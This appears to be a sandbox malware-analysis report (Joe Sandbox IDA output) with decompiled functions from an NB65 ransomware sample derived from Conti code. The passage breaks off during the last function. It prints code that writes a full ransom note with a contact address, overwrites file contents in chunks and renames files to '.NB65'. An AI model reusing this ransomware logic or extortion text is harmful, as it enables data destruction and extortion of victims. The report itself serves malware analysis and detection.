				_t57 = E00F365E0( &_v60);
				_t116 = _t115 - 0x18;
				_t110 = _t57;
				_t107 = _t116;
				 *((intOrPtr*)(_t107 + 0x14)) = 7;
				 *(_t107 + 0x10) = 0;
				 *_t107 = 0;
				if( *_t110 != 0) {
					_t89 = _t110;
					_t29 = _t89 + 2; // 0x2
					_t108 = _t29;
					do {
						_t59 =  *_t89;
						_t89 = _t89 + 2;
					} while (_t59 != 0);
					_t91 = _t89 - _t108 >> 1;
				} else {
					_t91 = 0;
				}
				E00F237C0(_t107, _t110, _t91);
				_t93 = _t116 - 0x18;
				_push(0xffffffff);
				 *((intOrPtr*)(_t93 + 0x14)) = 7;
				 *(_t93 + 0x10) = 0;
				 *_t93 = 0;
				L00F239A0(_t93,  &_a4, 0);
				E00F34A10( &_v32, _t107);
				_t65 =  *0xf4c2ec; // 0xddcc10
				_t112 =  >=  ? _v32 :  &_v32;
				if( *((intOrPtr*)(_t65 + 0x30)) == 0) {
					_t107 = 0;
					_t86 = E00F222A0(_t87, 0, 0, _t108, _t112, 0xf06e87ca);
					_t106 =  *0xf4c2ec; // 0xddcc10
					 *((intOrPtr*)(_t106 + 0x30)) = _t86;
				}
				_t67 = CreateFileW(_t112, 0x40000000, 0, 0, 2, 0, 0); // executed
				_t113 = _t67;
				if(_t113 != 0xffffffff) {
					_t76 =  *0xf4c2ec; // 0xddcc10
					_t77 =  *((intOrPtr*)(_t76 + 0xc));
					if(_t77 == 0) {
						_t107 = 0;
						_t77 = E00F222A0(_t87, 0, 0, _t108, _t113, 0xc65c5ee6);
						_t104 =  *0xf4c2ec; // 0xddcc10
						 *((intOrPtr*)(_t104 + 0xc)) = _t77;
					}
					_t78 =  *_t77(" _ ______  ____  _____\r\n| \\ | || ___ \\/ ___||  ___|\r\n|  \\| || |_/ / /___ |___ \\\r\n| . ` || ___ \\ ___ \\    \\ \\\r\n| |\\  || |_/ / \\_/ |/\\__/ /\r\n\\_| \\_/\\____/\\_____/\\____/\r\n\nBy now it\'s probably painfully apparent that your environment has\r\nbeen infected with ransomware.  You can thank Conti for that.\r\n\r\nWe\'ve modified the code in a way that will prevent you from decrypting\r\nit with their decryptor.\r\n\r\nWe\'ve exfiltrated a significant amount of data including private emails,\r\nfinancial information, contacts, etc.\r\n\r\nNow, if you wish to contact us in order to save your files from permanent\r\nencryption you can do so by emailing network_battalion_0065@riseup.net.\r\n\r\nYou have 3 days to establish contact. Failing to do so will result in\r\nthat data remaining permenantly encrypted.\r\n\r\nWhile we have very little sympathy for the situation you find yourselves\r\nin right now, we will honor our agreement to restore your files across\r\nthe affected environment once contact is established and payment is made.\r\nUntil that time we will take no action. Be aware that we have compromised\r\nyour entire network.\r\n\r\nWe\'re watching very closely.  Your President should not have commited war\r\ncrimes. If you\'re searching for someone to blame for your current situation\r\nlook no further than Vladimir Putin.");
					_t97 =  *0xf4c2ec; // 0xddcc10
					_t108 = _t78;
					if( *((intOrPtr*)(_t97 + 0x1c)) == 0) {
						_t107 = 0;
						_t85 = E00F222A0(_t87, 0, 0, _t108, _t113, 0xc45f4a8c);
						_t102 =  *0xf4c2ec; // 0xddcc10
						 *((intOrPtr*)(_t102 + 0x1c)) = _t85;
					}
					WriteFile(_t113, " _ ______  ____  _____\r\n| \\ | || ___ \\/ ___||  ___|\r\n|  \\| || |_/ / /___ |___ \\\r\n| . ` || ___ \\ ___ \\    \\ \\\r\n| |\\  || |_/ / \\_/ |/\\__/ /\r\n\\_| \\_/\\____/\\_____/\\____/\r\n\nBy now it\'s probably painfully apparent that your environment has\r\nbeen infected with ransomware.  You can thank Conti for that.\r\n\r\nWe\'ve modified the code in a way that will prevent you from decrypting\r\nit with their decryptor.\r\n\r\nWe\'ve exfiltrated a significant amount of data including private emails,\r\nfinancial information, contacts, etc.\r\n\r\nNow, if you wish to contact us in order to save your files from permanent\r\nencryption you can do so by emailing network_battalion_0065@riseup.net.\r\n\r\nYou have 3 days to establish contact. Failing to do so will result in\r\nthat data remaining permenantly encrypted.\r\n\r\nWhile we have very little sympathy for the situation you find yourselves\r\nin right now, we will honor our agreement to restore your files across\r\nthe affected environment once contact is established and payment is made.\r\nUntil that time we will take no action. Be aware that we have compromised\r\nyour entire network.\r\n\r\nWe\'re watching very closely.  Your President should not have commited war\r\ncrimes. If you\'re searching for someone to blame for your current situation\r\nlook no further than Vladimir Putin.", _t108,  &_v36, 0);
					_t81 =  *0xf4c2ec; // 0xddcc10
					if( *((intOrPtr*)(_t81 + 0x48)) == 0) {
						_t107 = 0;
						_t84 = E00F222A0(_t87, 0, 0, _t108, _t113, 0xa5eb6e47);
						_t100 =  *0xf4c2ec; // 0xddcc10
						 *((intOrPtr*)(_t100 + 0x48)) = _t84;
					}
					FindCloseChangeNotification(_t113); // executed
				}
				_t68 = _v12;
				if(_v12 >= 8) {
					E00F238C0(_t87, _t107, _t108, _v32, _t68 + 1); // executed
				}
				_v12 = 7;
				_v32 = 0;
				_v16 = 0;
				_t70 = _a24;
				if(_a24 >= 8) {
					E00F238C0(_t87, _t107, _t108, _a4, _t70 + 1);
				}
				return E00F37A82(_v8 ^ _t114);
			}



























































    0x00f35750
    0x00f35750
    0x00f35756
    0x00f3575d
    0x00f35762
    0x00f35769
    0x00f3576d
    0x00f35771
    0x00f35775
    0x00f35779
    0x00f3577d
    0x00f35781
    0x00f35785
    0x00f35789
    0x00f3578d
    0x00f35791
    0x00f35795
    0x00f35799
    0x00f3579d
    0x00f357a1
    0x00f357a5
    0x00f357a9
    0x00f357ad
    0x00f357b1
    0x00f357b5
    0x00f357b9
    0x00f357bd
    0x00f357c4
    0x00f357c9
    0x00f357cc
    0x00f357ce
    0x00f357d2
    0x00f357d9
    0x00f357e0
    0x00f357e6
    0x00f357ec
    0x00f357ee
    0x00f357ee
    0x00f357f1
    0x00f357f1
    0x00f357f4
    0x00f357f7
    0x00f357fe
    0x00f357e8
    0x00f357e8
    0x00f357e8
    0x00f35804
    0x00f3580e
    0x00f35810
    0x00f35812
    0x00f35819
    0x00f35821
    0x00f35828
    0x00f35830
    0x00f35835
    0x00f35841
    0x00f3584a
    0x00f35851
    0x00f35855
    0x00f3585a
    0x00f35860
    0x00f35860
    0x00f35873
    0x00f35875
    0x00f3587a
    0x00f35880
    0x00f35885
    0x00f3588a
    0x00f35891
    0x00f35895
    0x00f3589a
    0x00f358a0
    0x00f358a0
    0x00f358a8
    0x00f358aa
    0x00f358b0
    0x00f358b7
    0x00f358be
    0x00f358c2
    0x00f358c7
    0x00f358cd
    0x00f358cd
    0x00f358dd
    0x00f358df
    0x00f358e9
    0x00f358f0
    0x00f358f4
    0x00f358f9
    0x00f358ff
    0x00f358ff
    0x00f35903
    0x00f35903
    0x00f35905
    0x00f3590b
    0x00f35912
    0x00f35912
    0x00f35919
    0x00f35920
    0x00f35924
    0x00f35927
    0x00f3592d
    0x00f35934
    0x00f35934
    0x00f35948

    APIs
    • CreateFileW.KERNELBASE(?,40000000,00000000,00000000,00000002,00000000,00000000,?,00000000), ref: 00F35873
    • WriteFile.KERNELBASE(00000000, _ ______ ____ _____| \ | || ___ \/ ___|| ___|| \| || |_/ / /___ |___ \| . ` || ___ \ ___ \ \ \| |\ || |_/ / \_/ |/\__/ /\_| \_/\____/\_____/\____/By now it's probably painfully apparent that your environment hasbeen infected with ransom,00000000,?,00000000), ref: 00F358DD
    • FindCloseChangeNotification.KERNELBASE(00000000), ref: 00F35903
    Strings
    Memory Dump Source
    • Source File: 00000001.00000002.524978448.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true
    • Associated: 00000001.00000002.524970027.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525043979.0000000000F44000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525065584.0000000000F4A000.00000004.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525078038.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_1_2_f20000_ll.jbxd
    Similarity
    • API ID: File$ChangeCloseCreateFindNotificationWrite
    • String ID: _ ______ ____ _____| \ | || ___ \/ ___|| ___|| \| || |_/ / /___ |___ \| . ` || ___ \ ___ \ \ \| |\ || |_/ / \_/ |/\__/ /\_| \_/\____/\_____/\____/By now it's probably painfully apparent that your environment hasbeen infected with ransom$;$H$H$O$R$a$a$o$o$o$o$o$o$o$o$o$o$o$o${
    • API String ID: 3805958096-2953078748
    • Opcode ID: 92a6390a4fbd0153cf31f9aa9d1351c216e1beb84295ddab48a869eb905a1006
    • Instruction ID: bceaa41954a34a5f71a94ebb34087c2193b8fce83a9a951254c221521f51c24d
    • Opcode Fuzzy Hash: 92a6390a4fbd0153cf31f9aa9d1351c216e1beb84295ddab48a869eb905a1006
    • Instruction Fuzzy Hash: 21513830A01248DEDB04EBB8DC44BAEBBB69F55714F14405DE800FB2C2D7BA9A05D765
    Uniqueness

    Uniqueness Score: -1.00%

    Function 00F2E8F0 Relevance: 9.2, APIs: 6, Instructions: 226fileCOMMONCrypto
    Download Yara Rule
    C-Code - Quality: 87%
    			E00F2E8F0(void* __ebx, intOrPtr __ecx, signed int __edx, void* __edi, void* __esi, intOrPtr _a12) {
				signed int _v12;
				struct %anon52 _v20;
				intOrPtr _v24;
				signed int _v28;
				signed int _v32;
				void* _v36;
				void* _v40;
				union _LARGE_INTEGER* _v44;
				intOrPtr _v48;
				union _LARGE_INTEGER _v52;
				union _LARGE_INTEGER _v60;
				void* _v64;
				void* _v68;
				signed int _t85;
				intOrPtr _t87;
				signed int _t88;
				union _LARGE_INTEGER _t91;
				signed int _t92;
				signed int _t95;
				intOrPtr _t98;
				signed int _t100;
				intOrPtr _t105;
				signed int _t107;
				signed int _t109;
				intOrPtr _t110;
				intOrPtr _t111;
				intOrPtr _t112;
				signed int _t114;
				intOrPtr _t115;
				signed int _t116;
				signed int _t117;
				union _LARGE_INTEGER _t118;
				intOrPtr _t122;
				union _LARGE_INTEGER _t124;
				struct %anon52 _t125;
				signed int _t127;
				signed int _t129;
				void* _t134;
				intOrPtr _t136;
				void* _t139;
				intOrPtr _t142;
				intOrPtr _t144;
				signed int _t149;
				union _LARGE_INTEGER* _t151;
				struct %anon52 _t152;
				intOrPtr _t162;
				void* _t163;
				void* _t170;
				long _t172;
				signed int _t173;
				signed int _t176;

				_t149 = __edx;
				_t85 =  *0xf4a004; // 0x355216d4
				_v12 = _t85 ^ _t176;
				_t87 = _a12;
				_v40 = __edx;
				_v20.HighPart = 0;
				_v24 = __ecx;
				if(_t87 == 0x14) {
					_t122 =  *((intOrPtr*)(__ecx + 8));
					_t161 =  *((intOrPtr*)(__ecx + 0xc));
					_t88 = E00F42210(_t122,  *((intOrPtr*)(__ecx + 0xc)), 0x64, 0);
					_t127 = _t88;
					_v48 = 3;
					_t129 = (_t127 << 3) - _t88;
					_v28 = _t129;
					asm("sbb esi, edx");
					_v20.LowPart = (_t149 << 0x00000020 | _t127) << 3;
					_t151 = _t129 + _t129 + _t129;
					asm("adc esi, ecx");
					__eflags = _t122 - _t151;
					asm("sbb edi, esi");
					_t91 = E00F42210(_t122 - _t151, _t161, 2, 0);
					_t162 = _v24;
					_t124 = _t91;
					_v44 = _t151;
					_t152 = _v20.LowPart;
					_v52.LowPart = _t91;
					goto L5;
				} else {
					if(_t87 == 0x32) {
						_t116 = E00F42210( *((intOrPtr*)(__ecx + 8)),  *((intOrPtr*)(__ecx + 0xc)), 0x64, 0);
						_v48 = 5;
						_t117 = _t116 + (_t116 << 2);
						asm("adc edx, esi");
						_t152 = (_t149 << 0x00000020 | _t117) << 1;
						_t118 = _t117 + _t117;
						_v20.LowPart = _t152;
						_t124 = _t118;
						_v28 = _t118;
						_v52.LowPart = _t124;
						_v44 = _t152;
						L5:
						_t92 = 0;
						__eflags = 0;
						_v32 = 0;
						do {
							asm("xorps xmm0, xmm0");
							asm("movlpd [ebp-0x3c], xmm0");
							__eflags = _t92;
							if(_t92 == 0) {
								L11:
								__eflags = _t152;
								if(__eflags >= 0) {
									_t95 = _v28;
									if(__eflags > 0) {
										L14:
										_t125 = _v60.LowPart;
										_t163 = _v64;
										goto L15;
										do {
											do {
												L15:
												_t172 = _t95 - _t163;
												__eflags = _t172;
												asm("sbb eax, ebx");
												_v60.LowPart = _t152;
												if(__eflags >= 0) {
													if(__eflags > 0) {
														L18:
														_t172 = 0x500000;
													} else {
														__eflags = _t172 - 0x500000;
														if(_t172 > 0x500000) {
															goto L18;
														}
													}
												}
												_t134 =  *(_v24 + 4);
												_t98 =  *0xf4c2ec; // 0xddcc10
												_v36 = _t134;
												__eflags =  *(_t98 + 0x10);
												if( *(_t98 + 0x10) == 0) {
													__eflags = 0;
													_t111 = E00F222A0(_t125, 0, 0, _t163, _t172, 0xf91ac9a0);
													_t144 =  *0xf4c2ec; // 0xddcc10
													 *((intOrPtr*)(_t144 + 0x10)) = _t111;
													_t134 = _v36;
												}
												_t100 = ReadFile(_t134, _v40, _t172,  &(_v20.HighPart), 0); // executed
												__eflags = _t100;
												if(_t100 == 0) {
													L31:
													_t152 = _v20.LowPart;
												} else {
													_t173 = _v20.HighPart;
													__eflags = _t173;
													if(_t173 == 0) {
														goto L31;
													} else {
														_v36 = _t163 + _t173;
														asm("adc ebx, 0x0");
														E00F22F50(_t125, _v24 + 0x10, _v40, _t163 + _t173, _t173, _v40, _t173);
														_v60.LowPart =  ~(_v20.HighPart);
														asm("adc edi, edi");
														_t139 =  *(_v24 + 4);
														_t105 =  *0xf4c2ec; // 0xddcc10
														_v68 = _t139;
														__eflags =  *(_t105 + 0x50);
														if( *(_t105 + 0x50) == 0) {
															__eflags = 0;
															_t110 = E00F222A0(_t125, 0, 0,  ~0x00000000, _t173, 0xd54e6bd3);
															_t142 =  *0xf4c2ec; // 0xddcc10
															 *((intOrPtr*)(_t142 + 0x50)) = _t110;
															_t139 = _v68;
														}
														_push(1);
														_t107 = SetFilePointerEx(_t139, _v60,  ~0x00000000, 0); // executed
														__eflags = _t107;
														if(_t107 == 0) {
															goto L31;
														} else {
															_t109 = E00F2BFF0(_t125,  *(_v24 + 4), _v40,  ~0x00000000, _t173, _t173); // executed
															_t152 = _v20.LowPart;
															__eflags = _t109;
															if(_t109 != 0) {
																goto L27;
															}
														}
													}
												}
												goto L32;
												L27:
												_t163 = _v36;
												_t95 = _v28;
												__eflags = _t125 - _t152;
											} while (__eflags < 0);
											if(__eflags <= 0) {
												goto L29;
											}
											goto L32;
											L29:
											__eflags = _t163 - _t95;
										} while (_t163 < _t95);
									} else {
										__eflags = _t95;
										if(_t95 != 0) {
											goto L14;
										}
									}
									L32:
									_t92 = _v32;
								}
								goto L33;
							} else {
								_t112 =  *0xf4c2ec; // 0xddcc10
								_t170 =  *(_t162 + 4);
								__eflags =  *(_t112 + 0x50);
								if( *(_t112 + 0x50) == 0) {
									__eflags = 0;
									_t115 = E00F222A0(_t124, 0, 0, _t162, _t170, 0xd54e6bd3);
									_t136 =  *0xf4c2ec; // 0xddcc10
									 *((intOrPtr*)(_t136 + 0x50)) = _t115;
								}
								_push(1);
								_t114 = SetFilePointerEx(_t170, _t124, _v44, 0); // executed
								__eflags = _t114;
								if(_t114 != 0) {
									_t152 = _v20;
									_t92 = _v32;
									goto L11;
								}
							}
							break;
							L33:
							_t162 = _v24;
							_t92 = _t92 + 1;
							_t124 = _v52;
							_v32 = _t92;
							__eflags = _t92 - _v48;
						} while (_t92 < _v48);
						__eflags = _v12 ^ _t176;
						return E00F37A82(_v12 ^ _t176);
					} else {
						return E00F37A82(_v12 ^ _t176);
					}
				}
			}






















































    0x00f2e8f0
    0x00f2e8f6
    0x00f2e8fd
    0x00f2e900
    0x00f2e903
    0x00f2e906
    0x00f2e912
    0x00f2e917
    0x00f2e96d
    0x00f2e970
    0x00f2e979
    0x00f2e97e
    0x00f2e980
    0x00f2e992
    0x00f2e994
    0x00f2e999
    0x00f2e99f
    0x00f2e9aa
    0x00f2e9ac
    0x00f2e9ae
    0x00f2e9b0
    0x00f2e9b4
    0x00f2e9b9
    0x00f2e9bc
    0x00f2e9be
    0x00f2e9c1
    0x00f2e9c4
    0x00000000
    0x00f2e919
    0x00f2e91b
    0x00f2e93c
    0x00f2e943
    0x00f2e953
    0x00f2e955
    0x00f2e957
    0x00f2e95b
    0x00f2e95d
    0x00f2e960
    0x00f2e962
    0x00f2e965
    0x00f2e968
    0x00f2e9c7
    0x00f2e9c7
    0x00f2e9c7
    0x00f2e9c9
    0x00f2e9d0
    0x00f2e9d0
    0x00f2e9d3
    0x00f2e9d8
    0x00f2e9da
    0x00f2ea1b
    0x00f2ea1b
    0x00f2ea1d
    0x00f2ea23
    0x00f2ea26
    0x00f2ea30
    0x00f2ea30
    0x00f2ea33
    0x00f2ea33
    0x00f2ea36
    0x00f2ea36
    0x00f2ea36
    0x00f2ea3a
    0x00f2ea3a
    0x00f2ea3c
    0x00f2ea3e
    0x00f2ea41
    0x00f2ea43
    0x00f2ea4d
    0x00f2ea4d
    0x00f2ea45
    0x00f2ea45
    0x00f2ea4b
    0x00000000
    0x00000000
    0x00f2ea4b
    0x00f2ea43
    0x00f2ea55
    0x00f2ea58
    0x00f2ea5d
    0x00f2ea63
    0x00f2ea65
    0x00f2ea6e
    0x00f2ea70
    0x00f2ea75
    0x00f2ea7b
    0x00f2ea7e
    0x00f2ea7e
    0x00f2ea8c
    0x00f2ea8e
    0x00f2ea90
    0x00f2eb35
    0x00f2eb35
    0x00f2ea96
    0x00f2ea96
    0x00f2ea99
    0x00f2ea9b
    0x00000000
    0x00f2eaa1
    0x00f2eaae
    0x00f2eab1
    0x00f2eab4
    0x00f2eac0
    0x00f2eac6
    0x00f2eaca
    0x00f2eacd
    0x00f2ead2
    0x00f2ead8
    0x00f2eada
    0x00f2eae3
    0x00f2eae5
    0x00f2eaea
    0x00f2eaf0
    0x00f2eaf3
    0x00f2eaf3
    0x00f2eaf6
    0x00f2eaff
    0x00f2eb01
    0x00f2eb03
    0x00000000
    0x00f2eb05
    0x00f2eb0f
    0x00f2eb14
    0x00f2eb17
    0x00f2eb19
    0x00000000
    0x00000000
    0x00f2eb19
    0x00f2eb03
    0x00f2ea9b
    0x00000000
    0x00f2eb1b
    0x00f2eb1b
    0x00f2eb1e
    0x00f2eb21
    0x00f2eb21
    0x00f2eb29
    0x00000000
    0x00000000
    0x00000000
    0x00f2eb2b
    0x00f2eb2b
    0x00f2eb2b
    0x00f2ea28
    0x00f2ea28
    0x00f2ea2a
    0x00000000
    0x00000000
    0x00f2ea2a
    0x00f2eb38
    0x00f2eb38
    0x00f2eb38
    0x00000000
    0x00f2e9dc
    0x00f2e9dc
    0x00f2e9e1
    0x00f2e9e7
    0x00f2e9e9
    0x00f2e9f2
    0x00f2e9f4
    0x00f2e9f9
    0x00f2e9ff
    0x00f2e9ff
    0x00f2ea02
    0x00f2ea0b
    0x00f2ea0d
    0x00f2ea0f
    0x00f2ea15
    0x00f2ea18
    0x00000000
    0x00f2ea18
    0x00f2ea0f
    0x00000000
    0x00f2eb3b
    0x00f2eb3b
    0x00f2eb3e
    0x00f2eb3f
    0x00f2eb42
    0x00f2eb45
    0x00f2eb45
    0x00f2eb58
    0x00f2eb63
    0x00f2e91d
    0x00f2e92f
    0x00f2e92f
    0x00f2e91b

    APIs
    • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00F2E93C
    • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00F2E979
    • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00F2E9B4
    • SetFilePointerEx.KERNELBASE(?,00000000,?,00000000,00000001,?,?,00000002,00000000,?,?,00000064,00000000,?,FFFFFFFF,?), ref: 00F2EA0B
    • ReadFile.KERNELBASE(?,?,?,00000000,00000000,?,?,00000002,00000000,?,?,00000064,00000000,?,FFFFFFFF,?), ref: 00F2EA8C
    • SetFilePointerEx.KERNELBASE(?,?,00000000,00000000,00000001,?,00000000), ref: 00F2EAFF
    Memory Dump Source
    • Source File: 00000001.00000002.524978448.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true
    • Associated: 00000001.00000002.524970027.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525043979.0000000000F44000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525065584.0000000000F4A000.00000004.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525078038.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_1_2_f20000_ll.jbxd
    Similarity
    • API ID: FileUnothrow_t@std@@@__ehfuncinfo$??2@$Pointer$Read
    • String ID:
    • API String ID: 1151632788-0
    • Opcode ID: 6a61c11da4cf26aa27efc2dd95bef0f3ed9b84c4fb0da6fa788f428112b87352
    • Instruction ID: 1d27197b65a45dc49c1267d3b2a8f46dce168a5b628a9842296dcc0903509efa
    • Opcode Fuzzy Hash: 6a61c11da4cf26aa27efc2dd95bef0f3ed9b84c4fb0da6fa788f428112b87352
    • Instruction Fuzzy Hash: 85817F75E002299BDB14CFA9DC81BAEB7B5BB98310F258129E815FB380D775ED019B90
    Uniqueness

    Uniqueness Score: -1.00%

    Function 00F2C5F0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104memoryfileCOMMONCrypto
    Download Yara Rule
    C-Code - Quality: 64%
    			E00F2C5F0(WCHAR* __ecx) {
				void* __edi;
				void* __esi;
				intOrPtr _t15;
				intOrPtr* _t16;
				void* _t17;
				void* _t19;
				intOrPtr _t20;
				intOrPtr* _t21;
				intOrPtr _t23;
				intOrPtr* _t24;
				intOrPtr _t26;
				intOrPtr _t29;
				intOrPtr* _t30;
				void* _t31;
				intOrPtr _t35;
				intOrPtr _t36;
				intOrPtr _t37;
				void* _t38;
				intOrPtr _t40;
				intOrPtr _t41;
				intOrPtr _t43;
				intOrPtr _t45;
				intOrPtr _t47;
				intOrPtr _t49;
				intOrPtr _t51;
				intOrPtr _t53;
				intOrPtr _t55;
				WCHAR* _t63;
				void* _t64;
				void* _t65;
				void* _t66;
				void* _t67;

				_t15 =  *0xf4c2ec; // 0xddcc10
				_t63 = __ecx;
				_t16 =  *((intOrPtr*)(_t15 + 0x7c));
				if(_t16 == 0) {
					_t16 = E00F222A0(_t38, 0, 0, __ecx, _t65, 0xc5e8a09c);
					_t55 =  *0xf4c2ec; // 0xddcc10
					 *((intOrPtr*)(_t55 + 0x7c)) = _t16;
				}
				_t17 =  *_t16();
				_t40 =  *0xf4c2ec; // 0xddcc10
				_t66 = _t17;
				if( *((intOrPtr*)(_t40 + 0x78)) == 0) {
					_t37 = E00F222A0(_t38, 0, 0, _t63, _t66, 0x263040ab);
					_t53 =  *0xf4c2ec; // 0xddcc10
					 *((intOrPtr*)(_t53 + 0x78)) = _t37;
				}
				_t19 = RtlAllocateHeap(_t66, 8, 0x7fd7); // executed
				_t67 = _t19;
				if(_t67 != 0) {
					_t20 =  *0xf4c2ec; // 0xddcc10
					_t21 =  *((intOrPtr*)(_t20 + 0x58));
					if(_t21 == 0) {
						_t21 = E00F222A0(_t38, 0, 0, _t63, _t67, 0x4d9702d0);
						_t51 =  *0xf4c2ec; // 0xddcc10
						 *((intOrPtr*)(_t51 + 0x58)) = _t21;
					}
					 *_t21(_t67, _t63);
					_t23 =  *0xf4c2ec; // 0xddcc10
					_t24 =  *((intOrPtr*)(_t23 + 0x44));
					if(_t24 == 0) {
						_t24 = E00F222A0(_t38, 0, 0, _t63, _t67, 0x7ba2639);
						_t49 =  *0xf4c2ec; // 0xddcc10
						 *((intOrPtr*)(_t49 + 0x44)) = _t24;
					}
					 *_t24(_t67, L".NB65");
					_t26 =  *0xf4c2ec; // 0xddcc10
					if( *((intOrPtr*)(_t26 + 0x5c)) == 0) {
						_t36 = E00F222A0(_t38, 0, 0, _t63, _t67, 0xc8fb7817);
						_t47 =  *0xf4c2ec; // 0xddcc10
						 *((intOrPtr*)(_t47 + 0x5c)) = _t36;
					}
					MoveFileW(_t63, _t67);
					_t29 =  *0xf4c2ec; // 0xddcc10
					_t30 =  *((intOrPtr*)(_t29 + 0x7c));
					if(_t30 == 0) {
						_t30 = E00F222A0(_t38, 0, 0, _t63, _t67, 0xc5e8a09c);
						_t45 =  *0xf4c2ec; // 0xddcc10
						 *((intOrPtr*)(_t45 + 0x7c)) = _t30;
					}
					_t31 =  *_t30();
					_t41 =  *0xf4c2ec; // 0xddcc10
					_t64 = _t31;
					if( *((intOrPtr*)(_t41 + 0x74)) == 0) {
						_t35 = E00F222A0(_t38, 0, 0, _t64, _t67, 0x3ce51c64);
						_t43 =  *0xf4c2ec; // 0xddcc10
						 *((intOrPtr*)(_t43 + 0x74)) = _t35;
					}
					RtlFreeHeap(_t64, 0, _t67); // executed
					return 1;
				} else {
					return _t19;
				}
			}



































    0x00f2c5f0
    0x00f2c5f7
    0x00f2c5f9
    0x00f2c5fe
    0x00f2c609
    0x00f2c60e
    0x00f2c614
    0x00f2c614
    0x00f2c617
    0x00f2c619
    0x00f2c61f
    0x00f2c626
    0x00f2c631
    0x00f2c636
    0x00f2c63c
    0x00f2c63c
    0x00f2c647
    0x00f2c649
    0x00f2c64d
    0x00f2c652
    0x00f2c657
    0x00f2c65c
    0x00f2c667
    0x00f2c66c
    0x00f2c672
    0x00f2c672
    0x00f2c677
    0x00f2c679
    0x00f2c67e
    0x00f2c683
    0x00f2c68e
    0x00f2c693
    0x00f2c699
    0x00f2c699
    0x00f2c6a2
    0x00f2c6a4
    0x00f2c6ae
    0x00f2c6b9
    0x00f2c6be
    0x00f2c6c4
    0x00f2c6c4
    0x00f2c6c9
    0x00f2c6cb
    0x00f2c6d0
    0x00f2c6d5
    0x00f2c6e0
    0x00f2c6e5
    0x00f2c6eb
    0x00f2c6eb
    0x00f2c6ee
    0x00f2c6f0
    0x00f2c6f6
    0x00f2c6fd
    0x00f2c708
    0x00f2c70d
    0x00f2c713
    0x00f2c713
    0x00f2c71a
    0x00f2c723
    0x00f2c651
    0x00f2c651
    0x00f2c651

    APIs
    • RtlAllocateHeap.NTDLL(00000000,00000008,00007FD7), ref: 00F2C647
    • MoveFileW.KERNEL32(?,00000000), ref: 00F2C6C9
    • RtlFreeHeap.NTDLL(00000000,00000000,00000000), ref: 00F2C71A
    Strings
    Memory Dump Source
    • Source File: 00000001.00000002.524978448.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true
    • Associated: 00000001.00000002.524970027.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525043979.0000000000F44000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525065584.0000000000F4A000.00000004.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525078038.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_1_2_f20000_ll.jbxd
    Similarity
    • API ID: Heap$AllocateFileFreeMove
    • String ID: .NB65
    • API String ID: 4162411413-1873364366
    • Opcode ID: 84a614fc7930b7692725797080dd2894dcc27f51b605bae484726a78ce3e952a
    • Instruction ID: 9f4554f0e5f68189c84fea7679cf342534b2f7ccdee3fb331f5d027d77b796f8
    • Opcode Fuzzy Hash: 84a614fc7930b7692725797080dd2894dcc27f51b605bae484726a78ce3e952a
    • Instruction Fuzzy Hash: 793166347022109FE798DFB6EC41F2A37A6ABD9751700906EEC05DB351DAB5DD02AB84
    Uniqueness

    Uniqueness Score: -1.00%

    Function 00F333A0 Relevance: 4.9, APIs: 3, Instructions: 361threadCOMMONCrypto
    Download Yara Rule
    C-Code - Quality: 46%
    			E00F333A0(void* __ebx, void* __edi, void* __esi) {
				signed int _v8;
				char _v12;
				char _v16;
				char _v20;
				char _v24;
				intOrPtr _v28;
				signed int _v36;
				char _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v64;
				signed int _t76;
				intOrPtr _t78;
				intOrPtr* _t79;
				intOrPtr _t81;
				intOrPtr* _t82;
				void* _t83;
				intOrPtr _t85;
				intOrPtr* _t86;
				intOrPtr _t88;
				intOrPtr _t93;
				intOrPtr _t95;
				intOrPtr* _t96;
				intOrPtr _t99;
				intOrPtr* _t100;
				intOrPtr _t102;
				intOrPtr* _t103;
				intOrPtr _t105;
				intOrPtr _t107;
				intOrPtr* _t108;
				intOrPtr* _t110;
				intOrPtr* _t111;
				intOrPtr _t116;
				intOrPtr* _t117;
				void* _t118;
				intOrPtr _t120;
				intOrPtr* _t121;
				intOrPtr _t123;
				intOrPtr* _t124;
				intOrPtr _t126;
				intOrPtr _t128;
				intOrPtr* _t129;
				void* _t131;
				void* _t134;
				intOrPtr _t136;
				intOrPtr* _t137;
				intOrPtr _t139;
				intOrPtr* _t140;
				intOrPtr* _t142;
				void* _t145;
				signed int _t150;
				intOrPtr _t152;
				intOrPtr _t156;
				intOrPtr _t158;
				intOrPtr _t162;
				intOrPtr _t163;
				intOrPtr _t166;
				intOrPtr _t168;
				intOrPtr _t170;
				intOrPtr* _t172;
				intOrPtr _t176;
				intOrPtr _t177;
				intOrPtr _t180;
				intOrPtr _t182;
				intOrPtr _t184;
				intOrPtr _t191;
				intOrPtr _t193;
				intOrPtr _t194;
				intOrPtr _t196;
				intOrPtr _t198;
				intOrPtr _t216;
				intOrPtr _t218;
				intOrPtr _t219;
				intOrPtr _t220;
				intOrPtr _t221;
